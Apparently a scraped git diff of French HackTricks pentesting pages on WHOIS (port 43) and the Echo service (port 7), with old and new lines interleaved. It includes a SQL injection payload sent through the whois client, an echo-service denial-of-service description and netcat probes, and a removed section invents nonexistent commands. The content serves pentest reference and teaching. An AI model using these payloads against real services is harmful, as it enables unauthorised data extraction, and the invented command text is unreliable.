**WHOIS** (prononcé comme la phrase "qui est") est un protocole de requête et de réponse largement utilisé pour interroger des bases de données qui stockent les utilisateurs enregistrés ou les attributaires d'une ressource Internet, telle qu'un nom de domaine, un bloc d'adresses IP ou un système autonome, mais il est également utilisé pour une gamme plus large d'autres informations. (De [ici](https://en.wikipedia.org/wiki/WHOIS))
|
||||
**WHOIS** (prononcé comme la phrase "qui est") est un protocole de requête et de réponse largement utilisé pour interroger des bases de données qui stockent les utilisateurs enregistrés ou les attributaires d'une ressource Internet, telle qu'un nom de domaine, un bloc d'adresses IP ou un système autonome, mais il est également utilisé pour une gamme plus large d'autres informations. (Depuis [ici](https://en.wikipedia.org/wiki/WHOIS))
|
||||
|
||||
**Port par défaut:** 43
|
||||
**Port par défaut :** 43
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
43/tcp open whois?
|
||||
```
|
||||
# Énumération
|
||||
# Énumérer
|
||||
|
||||
Obtenez toutes les informations qu'un service whois a sur un domaine :
|
||||
Obtenez toutes les informations qu'un service whois possède sur un domaine :
|
||||
```bash
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Notez que parfois, lorsqu'une demande d'informations est faite à un service WHOIS, la base de données utilisée apparaît dans la réponse :
|
||||
```markdown
|
||||
Notez que parfois, lors d'une demande d'informations à un service WHOIS, la base de données utilisée apparaît dans la réponse :
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
De plus, le service WHOIS doit toujours utiliser une **base de données** pour stocker et extraire les informations. Ainsi, une possible **injection SQL** pourrait être présente lors de la **requête** de la base de données à partir de certaines informations fournies par l'utilisateur. Par exemple, en faisant : `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` vous pourriez être en mesure d'**extraire toutes** les **informations** enregistrées dans la base de données.
|
||||
De plus, le service WHOIS doit toujours utiliser une **base de données** pour stocker et extraire les informations. Ainsi, une possible **SQLInjection** pourrait être présente lors de l'**interrogation** de la base de données à partir de certaines informations fournies par l'utilisateur. Par exemple, en faisant : `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` vous pourriez être capable d'**extraire toutes** les **informations** enregistrées dans la base de données.
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
# Commandes automatiques HackTricks
|
||||
# Commandes Automatiques HackTricks
|
||||
```
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
Protocol_Description: WHOIS #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
|
||||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
Description: Grab WHOIS Banner
|
||||
Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43
|
||||
Name: Banner Grab
|
||||
Description: Grab WHOIS Banner
|
||||
Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,33 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Un service d'écho est en cours d'exécution sur cet hôte. Le service d'écho était destiné à des fins de test et de mesure et peut écouter à la fois les protocoles TCP et UDP. Le serveur renvoie toutes les données qu'il reçoit, sans modification.\
|
||||
**Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou sur une autre machine**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être efficacement mises hors service.\
|
||||
Info de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
**Il est possible de provoquer un déni de service en connectant le service d'écho à un autre service d'écho sur la même machine ou sur une autre machine**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être effectivement mises hors service.\
|
||||
Infos de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Port par défaut:** 7/tcp/udp
|
||||
**Port par défaut :** 7/tcp/udp
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Contacter le service Echo (UDP)
|
||||
|
||||
### Description
|
||||
|
||||
Le service Echo (UDP) est un service de test de réseau qui permet de vérifier si un hôte est accessible et si les paquets sont transmis correctement. Le service Echo (UDP) envoie un paquet à l'hôte cible et attend une réponse. Si l'hôte répond avec succès, cela signifie que le réseau est accessible et que les paquets sont transmis correctement.
|
||||
|
||||
### Utilisation
|
||||
|
||||
Pour contacter le service Echo (UDP), vous pouvez utiliser la commande `echo-request` ou `ping` avec l'option `-u`. Par exemple:
|
||||
|
||||
```
|
||||
echo-request | nc -u <IP> 7
|
||||
```
|
||||
|
||||
ou
|
||||
|
||||
```
|
||||
ping -u <IP>
|
||||
```
|
||||
|
||||
### Détection
|
||||
|
||||
Le service Echo (UDP) peut être détecté en écoutant le port 7 avec la commande `nc -u -l 7`. Si le service est en cours d'exécution, vous verrez les paquets entrants et sortants.
|
||||
|
||||
### Vulnérabilités
|
||||
|
||||
Le service Echo (UDP) peut être utilisé pour mener des attaques de déni de service (DoS) en envoyant un grand nombre de paquets à l'hôte cible. Cela peut entraîner une surcharge du réseau et rendre l'hôte inaccessible.
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -44,27 +35,25 @@ Hello echo #This is the response
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `port:7 echo` (port:7 echo)
|
||||
* `port:7 echo`
|
||||
|
||||
# Références
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO_protocol)
|
||||
|
||||
[CA-1996-01 Attaque de déni de service sur le port UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 Attaque par déni de service sur le port UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue